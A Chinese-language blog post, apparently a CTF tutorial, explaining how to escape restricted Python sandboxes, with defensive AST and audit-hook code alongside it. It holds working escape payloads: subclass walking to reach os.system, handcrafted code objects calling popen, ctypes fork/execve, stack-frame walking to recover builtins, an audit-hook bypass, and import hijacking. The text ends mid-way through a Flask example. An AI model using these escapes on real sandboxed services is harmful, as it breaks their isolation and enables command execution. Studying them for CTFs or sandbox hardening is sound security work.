放一下米拉镇楼
开篇
本文会带你了解一些绕过Pyjail的高级技巧,其实绕过过滤无非就是两种操作:替换和通过更加底层的手段在实现,所以,我们先来了解一下Python这门语言的底层特性并且以此来展示对应的Pyjail绕过手法
全局变量
这是基础知识,globals
顾名思义就是公共的变量空间,里面包括你定义或者系统自带的全局变量,而由于函数也是特殊的对象变量,所以像是__builtins__
里面的基础函数如len
,print
,eval
这些的可以看作特殊的全局变量
>>> dir(globals()['__builtins__'])
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup',
'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__',
'abs', 'aiter', 'all', 'anext', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr',
'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
>>>
这个就是所有Py3.12的内置函数了。
Blue Team:消除对应的高危的函数
例如我在一个执行数学计算的python环境中,我并不需要像是getattr
,__import__
,map
这些设计到代码执行的高危函数,所以为了保证安全我完全可以把这些内置函数给消除。就像这样:
>>> expression='a'
>>> context={'a':123}
>>> eval(expression, {"__builtins__": {}}, context)
123
>>> expression='__import__("os").system("ls")'
>>> eval(expression, {"__builtins__": {}}, context)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined
>>>
这样就去除了所有的内置方式,只保留了基础的数学计算的功能,但其实这个还是不够安全的
Red Team:
例如我可以通过不断回溯上一个__class__
并且通过__subclesses__
查找子类,最终通过_wrap_close
类就能够实现最终实现提取到全局变量重获__builtins__
了
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]('ls')
还有比如
mro
在 Python 中,MRO(Method Resolution Order) 指的是类继承层次结构中搜索方法或属性的顺序。
可以通过类的 __mro__
属性查看其方法解析顺序。__mro__
是一个元组,包含了类继承层次结构中从当前类到最高父类(通常是 object
)的所有类。在拿到父类之后就可以通过subclasses故技重施了
这个就是flask的jinja2的ssti经典攻击思路了
其实开发者还可以使用AST沙箱来进行防御比如:
import ast
class SafeEvaluator(ast.NodeVisitor):
"""
AST 节点访问器,用于检查表达式的安全性。
禁止所有属性访问(如 obj.attr)以及其他潜在危险的操作。
"""
def __init__(self):
super().__init__()
self.allowed_nodes = (
ast.Expression,
ast.Call,
ast.Name,
ast.Load,
ast.BinOp,
ast.UnaryOp,
ast.Constant, # 对于 Python 3.8 及更高版本
ast.List,
ast.Tuple,
ast.Dict,
ast.BoolOp,
ast.Compare,
ast.IfExp,
)
self.allowed_operators = (
ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Mod,
ast.Pow, ast.BitXor, ast.USub, ast.UAdd,
ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE,
ast.And, ast.Or, ast.Not,
)
def visit(self, node):
if not isinstance(node, self.allowed_nodes):
raise ValueError(f"不允许的节点类型: {type(node).__name__}")
return super().visit(node)
def visit_Attribute(self, node):
# 禁止属性访问
raise ValueError("禁止属性访问")
def visit_Call(self, node):
if isinstance(node.func, ast.Attribute):
raise ValueError("禁止通过方法调用执行函数")
self.generic_visit(node)
def visit_Name(self, node):
if node.id.startswith("__"):
raise ValueError(f"禁止访问名称: {node.id}")
self.generic_visit(node)
def visit_BinOp(self, node):
if not isinstance(node.op, self.allowed_operators):
raise ValueError(f"不允许的操作符: {type(node.op).__name__}")
self.generic_visit(node)
def visit_UnaryOp(self, node):
if not isinstance(node.op, self.allowed_operators):
raise ValueError(f"不允许的操作符: {type(node.op).__name__}")
self.generic_visit(node)
def visit_BoolOp(self, node):
if not isinstance(node.op, self.allowed_operators):
raise ValueError(f"不允许的布尔操作符: {type(node.op).__name__}")
self.generic_visit(node)
def visit_Compare(self, node):
for op in node.ops:
if not isinstance(op, self.allowed_operators):
raise ValueError(f"不允许的比较操作符: {type(op).__name__}")
self.generic_visit(node)
def visit_IfExp(self, node):
self.generic_visit(node)
def secure_eval(expression, context=None):
"""
安全地评估表达式,禁止属性访问和其他危险操作。
:param expression: 要评估的表达式字符串
:param context: 提供给表达式的上下文(变量和函数)
:return: 表达式的计算结果
"""
if context is None:
context = {}
# 解析表达式的 AST
try:
tree = ast.parse(expression, mode='eval')
except SyntaxError as e:
raise ValueError(f"无效的表达式: {e}")
# 检查 AST 的安全性
SafeEvaluator().visit(tree)
# 编译并安全地执行表达式
try:
compiled = compile(tree, filename="<safe_eval>", mode="eval")
return eval(compiled, {"__builtins__": {}}, context)
except Exception as e:
raise ValueError(f"表达式评估出错: {e}")
# 示例使用
if __name__ == "__main__":
context = {
"name": "Alice",
"age": 25,
"greet": lambda name: f"Hello, {name}!"
}
expressions = [
"greet(name)", # 安全: 调用允许的函数
"age + 5", # 安全: 简单计算
"__import__('os').system('ls')", # 不安全: 尝试访问 __import__
"name.__class__", # 不安全: 尝试属性访问
"greet.__globals__['os'].system('ls')", # 不安全
]
for expr in expressions:
try:
result = secure_eval(expr, context)
print(f"表达式 '{expr}' 的结果: {result}")
except ValueError as ve:
print(f"表达式 '{expr}' 被拒绝: {ve}")
但是也有对应的绕过办法,留给下一篇博客吧
CodeObject
其实上文也有提及,python中万物接对象,包括正在执行的字节码对象(codeobject)。为了将脚本代码转化成可以被PVM(Python虚拟机)执行的字节码,Py开发者专门保留了compile函数来完成脚本代码到字节码对象(codeobject)的转化。所以,但凡涉及到动态代码执行的节点,都会调用compile函数:包括但不限于:exec
,eval
,map
,__import__
...Blue Team 通过禁用compile,就能杜绝大部分通过动态执行绕过黑白名单的操作了,比如:eval('pop'+'en("ls")')
但不是所有。
函数即obj
例如在这里我可以通过如下这个函数实现查看:
def check(obj):
"""
检查对象的非魔术属性和方法,并打印详细信息。
"""
from inspect import ismethod, isfunction
print(f"Inspecting object of type: {type(obj)}\n")
for i in dir(obj):
# 跳过魔术方法和属性
if i.startswith('__'):
continue
try:
attr = getattr(obj, i) # 尝试获取属性值
if ismethod(attr) or isfunction(attr):
print(f"[Method] {i}()")
else:
print(f"[Attribute] {i} = {repr(attr)}")
except Exception as e:
print(f"[Error] {i} - Could not retrieve value: {e}")
函数对象的Codeobject属性都在__code__
这里直接上:
>>> check(add.__code__)
Inspecting object of type: <class 'code'>
[Attribute] _co_code_adaptive = b'\x97\x00X\x00|\x01z\x00\x01\x00S\x00'
[Attribute] _varname_from_oparg = <built-in method _varname_from_oparg of code object at 0x7f50dc123840>
[Attribute] co_argcount = 2
[Attribute] co_cellvars = ()
[Attribute] co_code = b'\x97\x00|\x00|\x01z\x00\x00\x00S\x00'
[Attribute] co_consts = (None,)
[Attribute] co_exceptiontable = b''
[Attribute] co_filename = '<stdin>'
[Attribute] co_firstlineno = 1
[Attribute] co_flags = 3
[Attribute] co_freevars = ()
[Attribute] co_kwonlyargcount = 0
[Attribute] co_lines = <built-in method co_lines of code object at 0x7f50dc123840>
[Attribute] co_linetable = b'\x80\x00\xd8\t\n\x881\x89\x13\x80*'
<stdin>:12: DeprecationWarning: co_lnotab is deprecated, use co_lines instead.
[Attribute] co_lnotab = b'\x02\x01'
[Attribute] co_name = 'add'
[Attribute] co_names = ()
[Attribute] co_nlocals = 2
[Attribute] co_positions = <built-in method co_positions of code object at 0x7f50dc123840>
[Attribute] co_posonlyargcount = 0
[Attribute] co_qualname = 'add'
[Attribute] co_stacksize = 2
[Attribute] co_varnames = ('a', 'b')
[Attribute] replace = <built-in method replace of code object at 0x7f50dc123840>
>>>
就会发现和普通的CodeObject没啥两样,都是编译完成后的字节码对象,那么我们可以通过自己声明字节码对象实现绕过compile方法:
不同版本下手动声明函数
例如,我想手动声明一个函数实现system的功能:
在Python3.11+中:
import types
co_code = b'\x97\x00t\x01\x00\x00\x00\x00\x00\x00\x00\x00d\x01\xab\x01\x00\x00\x00\x00\x00\x00j\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x00\xab\x01\x00\x00\x00\x00\x00\x00j\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xab\x00\x00\x00\x00\x00\x00\x00S\x00'
co_consts = (None, 'os')
co_names = ('__import__', 'popen', 'read')
co_varnames = ('cmd',)
co_argcount = 1
co_posonlyargcount = 0
co_kwonlyargcount = 0
co_nlocals = 1
co_stacksize = 3
co_flags = 3
co_filename = '<stdin>'
co_name = 'my_exec'
co_firstlineno = 1
co_lnotab = b'\x00\x01' # 简单的行号表
co_cellvars = ()
co_freevars = ()
# 构造 CodeType 对象
code_obj = types.CodeType(
co_argcount,
co_posonlyargcount,
co_kwonlyargcount,
co_nlocals,
co_stacksize,
co_flags,
co_code,
co_consts,
co_names,
co_varnames,
co_filename,
co_name,
co_firstlineno,
co_lnotab, # Python 3.9 使用 co_lnotab
co_cellvars,
co_freevars
)
# 创建函数对象
my_exec_reconstructed = types.FunctionType(code_obj, globals())
my_exec_reconstructed('ls')
python3.9
co_code = b't\x00d\x01\x83\x01\xa0\x01|\x00\xa1\x01\xa0\x02\xa1\x00S\x00'
co_consts = (None, 'os')
co_names = ('__import__', 'popen', 'read')
co_varnames = ('cmd',)
co_argcount = 1
co_posonlyargcount = 0
co_kwonlyargcount = 0
co_nlocals = 1
co_stacksize = 3
co_flags = 67 # 67 表示有闭包和优化标志
co_filename = '<stdin>'
co_name = 'my_exec'
co_firstlineno = 1
co_lnotab = b'\x00\x01' # 行号表
co_cellvars = ()
co_freevars = ()
# 构造 CodeType 对象
code_obj = types.CodeType(
co_argcount,
co_posonlyargcount,
co_kwonlyargcount,
co_nlocals,
co_stacksize,
co_flags,
co_code,
co_consts,
co_names,
co_varnames,
co_filename,
co_name,
co_firstlineno,
co_lnotab, # Python 3.9 使用 co_lnotab
co_cellvars,
co_freevars
)
# 创建函数对象
my_exec_reconstructed = types.FunctionType(code_obj, globals())
其他的就还要查文档了没来得及搞
手搓system
其实system的底层原理还是去调用linux的系统函数在 Linux 下,执行 os.system("ls")
的背后,操作系统会经历以下几个步骤:
分身术:fork()
操作系统首先会用 fork()
系统调用,创建一个“子进程”。你可以把它想象成操作系统的一个小分身,它专门负责干这件事。
“我先分一个小号出来,专门跑这个命令。”
这一步的目的是让 Python 主程序可以继续运行,而不被命令的执行耽误。
换衣术:exec()
接下来,这个子进程会用 exec()
系统调用,把自己“变装”成你要执行的命令(比如 ls
)。你可以想象成这个分身穿上了“ls 命令”的衣服,变成了一个可以执行 ls
的程序。
“我现在是
ls
,准备开始工作!”
等待命令完成
子进程开始执行命令(比如列出文件夹内容)。当命令执行完毕后,它会告诉操作系统:
“我干完活了,没问题!”
然后,操作系统会把这个结果传回给 C 标准库,C 再把结果告诉 Python。
清理现场
最后,操作系统会清理掉子进程,确保不留垃圾。
具体的流程图:
所以,只要pyjail不禁用ctypes,我们就能够间接的通过ctypes调用c语言实现上述的调用
import ctypes
libc = ctypes.CDLL(None)
FORK = libc.fork
EXECVE = libc.execve
EXIT = libc._exit
def my_system(command):
# 将命令分解为程序和参数
args = command.split()
program = args[0]
argv = (ctypes.c_char_p * (len(args) + 1))()
for i, arg in enumerate(args):
argv[i] = arg.encode('utf-8')
argv[len(args)] = None # 以 NULL 结尾
pid = FORK()
if pid == 0:
EXECVE(program.encode('utf-8'), argv, None) # 执行命令
EXIT(1)
else:
libc.waitpid(pid, None, 0) # 父进程等待子进程完成
my_system("/bin/ls")
栈帧相关
什么是Python栈帧?
其实python中万物接在栈帧中,上至import新库和创建线程,中至函数调用,下至类中变量加减,都会创建栈帧,也就是说Python是一门基于栈帧的语言。下面我们结合脚本和gdb,帮助大家理解啥是python栈帧。还是经典的删除__builtins__
的例子:
key = "this is flag"
codes='''
def function_c(param):
result = param ** 2 # 定义局部变量
print(f"In function_c: param={param}, result={result}")
i=1
while True:
i+=1
function_c(3)
'''
locals = {
"__builtins__": None, # 禁用默认的 __builtins__
"print": print, # 手动允许 print 函数
"True": True, # 手动允许 True 常量
"False": False, # 手动允许 False 常量
}
code = compile(codes, "", "exec")
exec(code, locals, None)
GDB视角下的栈帧
我这边直接用自带python3.12自带的gdb插件libpython.py
来调试该进程,仔细看看它的内存结构
┌──(kali㉿kali)-[~/Desktop/Python-3.12.0/Tools/gdb]
└─$ gdb -p 2415
(gdb) source libpython.py
(gdb) bt
#0 long_dealloc (self=1454328774) at ../Objects/longobject.c:3326
#1 0x00000000005d6881 in _PyEval_EvalFrameDefault (
tstate=tstate@entry=0xbaf310 <_PyRuntime+458992>, frame=<optimized out>,
frame@entry=0x7f4aadfdc090, throwflag=throwflag@entry=0) at Python/bytecodes.c:209
#2 0x00000000005cd7dd in _PyEval_EvalFrame (tstate=0xbaf310 <_PyRuntime+458992>,
frame=0x7f4aadfdc090, throwflag=0) at ../Include/internal/pycore_ceval.h:89
#3 _PyEval_Vector (tstate=0xbaf310 <_PyRuntime+458992>, func=0x7f4aad721c60,
locals={'__builtins__': None, 'print': <built-in method print of module object at remote 0x7f4aadc48270>, 'True': True, 'False': False, 'function_c': <function at remote 0x7f4aad73dd00>}, args=0x0, argcount=0, kwnames=0x0) at ../Python/ceval.c:1683
...
#10 0x00000000005cee43 in _PyEval_EvalFrameDefault (
tstate=tstate@entry=0xbaf310 <_PyRuntime+458992>, frame=<optimized out>,
--Type <RET> for more, q to quit, c to continue without paging--
frame@entry=0x7f4aadfdc020, throwflag=throwflag@entry=0) at Python/bytecodes.c:2715
#11 0x00000000005cd7dd in _PyEval_EvalFrame (tstate=0xbaf310 <_PyRuntime+458992>, frame=0x7f4aadfdc020, throwflag=0) at ../Include/internal/pycore_ceval.h:89
#12 _PyEval_Vector (tstate=0xbaf310 <_PyRuntime+458992>, func=0x7f4aadc86340,
locals={'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <SourceFileLoader(name='__main__', path='/home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py') at remote 0x7f4aad702210>, '__spec__': None, '__annotations__': {}, '__builtins__': <module at remote 0x7f4aadc48270>, '__file__': '/home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py', '__cached__': None, 'os': <module at remote 0x7f4aadca50d0>, 'key': 'this is flag', 'codes': '\ndef function_c(param):\n result = param ** 2 # 定义局部变量\n print(f"In function_c: param={param}, result={result}")\n i=1\n while True:\n i+=1\n\nfunction_c(3 ) \n', 'locals': {'__builtins__': None, 'print': <built-in method print of module object at remote 0x7f4aadc48270>, 'True': True, 'False': False, 'function_c': <function at remote 0x7f4aad73dd00>}, 'code': <code at remote 0x7f4aad70db50>}, args=0x0, argcount=0, kwnames=0x0) at ../Python/ceval.c:1683
#13 PyEval_EvalCode (co=co@entry=<code at remote 0x7f4aadc1e450>,
所以你看在不同的栈帧中是有不同的全局变量的,例如在初始的栈帧中#3
中__builtins__
就是正常的,但是在沙箱的exec
的栈帧中,'__builtins__': None
,接下来我们使用py-up
向上移动我们调试的栈帧,分别使用py-print
查看,也符合我们的假设
(gdb) py-bt
Traceback (most recent call first):
File "", line 7, in function_c
File "", line 9, in <module>
<built-in method exec of module object at remote 0x7f4aadc48270>
File "/home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py", line 21, in <module>
exec(code, locals, None)
(gdb) py-print __builtins__
global '__builtins__' = None
(gdb) py-up
#7 <built-in method exec of module object at remote 0x7f4aadc48270>
(gdb) py-print __builtins__
Unable to read information on python frame
(gdb) py-up
#10 Frame 0x7f4aadfdc020, for file /home/kali/Desktop/Python-3.12.0/Tools/gdb/stack_frame_exp.py, line 21, in <module> ()
exec(code, locals, None)
(gdb) py-print __builtins__
global '__builtins__' = <module at remote 0x7f4aadc48270>
(gdb)
其实这个栈帧是用链表实现的,其中的f_next
属性指向的是下一栈帧,f_back
属性就是上一个栈帧,内存结构如下
其实栈帧是python的底层架构,我们可以通过栈帧对象的f_code
获取当前栈帧的Codeobject对象,又或者是f_lineno
获取当前执行的行号,f_locals
得到所有的局部变量,理论上配合f_back
,我们就能够操纵几乎所有的内存了,其实ipdb
的原理就是通过操作栈帧和sys.settrace
实现调试的。
获取栈帧
那现在我们知道了栈帧的特性了,我们如何在python代码中操作栈帧呢?首先当然是获取栈帧了
既然栈帧无处不在,我们可以通过如下多种方式获取当前的栈帧
通过报错
def get_stack_frame_via_exception():
try:
raise Exception
except Exception as e:
tb = e.__traceback__ # 获取异常的回溯对象
while tb.tb_next: # 遍历到当前帧
tb = tb.tb_next
return tb.tb_frame # 返回当前栈帧对象
通过闭包
def get_stack_frame_via_closure():
frame = None
def inner():
nonlocal frame
frame = (lambda: None).__code__.co_frame # 获取当前帧
inner()
return frame
通过生成器
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = next(g)
b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
return b
利用方式
例如,我们就能够通过不断回溯上一级的栈帧实现获取到完整的builtins,最终实现沙箱逃逸
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = [i for i in g][0] #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_back.f_globals['__builtins__'] #返回并获取前一级栈帧的globals
return b
又或者在全交互的情况下,直接调用自带的ipdb
实现逃逸,我这里直接执行了breakpoint()
就可以直接进入调试器模式
>>> breakpoint()
--Return--
> <stdin>(1)<module>()->None
(Pdb) !__import__('os').system('ls')
api.txt Desktop Documents Downloads Music Pictures pslist_output.txt Public rekall-1.6.0 rekall-1.6.0.zip Templates test.py Videos
0
(Pdb)
推荐:【python】python的骨架frame——你写的代码都是运行在它里面的?_哔哩哔哩_bilibili
审计钩子
sys.audit
是 Python 3.8 引入的一种安全审计机制,旨在为应用程序和库提供一种监控敏感操作的方式。Python 的许多内置函数和操作(如文件操作、网络操作、动态代码执行等)在执行时会调用 sys.audit
触发审计事件,比如exec
,socket.connect
,最恶心的,就是这个代码是C语言解释器源码层面(PySys_Audit
)的,一但加载,不能够被Py语言层级卸载。
偷天换日
例如在强网杯中,这道题就是使用了审计钩子:
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
# os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"
那该如何破解?
例如在这个你会发现他这个审计钩子是通过len函数实现审计的,由于与上文函数就是一个特殊的变量,我们完全可以给这个变量重新赋值,使其审计失效:
[len:=lambda x:1,os:=__import__("os"),os.system(cmd)]
import相关利用
其实import函数的导入包的过程是有先后顺序的,我们用strace查看下具体的文件查看流程,以import logging
为例子:
┌──(kali㉿kali)-[~]
└─$ strace -e openat python3 -c "import logging"
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libz.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libexpat.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/pyvenv.cfg", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/bin/pyvenv.cfg", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/bin/python3._pth", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/bin/python3.12._pth", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/bin/pybuilddir.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/localtime", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/encodings/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/encodings", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/encodings/__pycache__/aliases.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/encodings/__pycache__/utf_8.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/local/lib/python3.12/dist-packages", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/PasteScript-3.6.0-nspkg.pth", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/encodings/__pycache__/utf_8_sig.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/types.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/importlib/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/warnings.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/importlib", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/importlib/__pycache__/_abc.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/distutils-precedence.pth", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/lib-dynload", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/local/lib/python3.12/dist-packages", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/_distutils_hack/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/repoze.lru-0.7-nspkg.pth", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/zc.lockfile-3.0.post1-nspkg.pth", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/zope.interface-7.1.1-nspkg.pth", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/sitecustomize.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
##----------------------------在这上面就是去完成初始化Python解释器环境----------------------
openat(AT_FDCWD, "/home/kali", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/logging/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
##--------------------------你会发现import是优先查找当前目录下是否存在logging.py,再去系统内置的/usr/lib/python3.12/看的
openat(AT_FDCWD, "/usr/lib/python3.12/re/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/enum.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/operator.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/functools.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/collections/__pycache__/__init__.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/keyword.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/reprlib.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/re", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/re/__pycache__/_compiler.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/re/__pycache__/_parser.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/re/__pycache__/_constants.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/re/__pycache__/_casefix.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/copyreg.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/traceback.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/collections", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/collections/__pycache__/abc.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/linecache.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/tokenize.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/token.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/textwrap.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/contextlib.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/weakref.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/_weakrefset.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/string.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/threading.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
+++ exited with 0 +++
┌──(kali㉿kali)-[~]
└─$
所以,只要我们能够再当前目录上传一个logging.py文件,在基于文件的subprocess沙箱,就可以被轻松绕过了。
例如巅峰极客的一道题
from flask import Flask, request, session, redirect, url_for, render_template
import os
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []
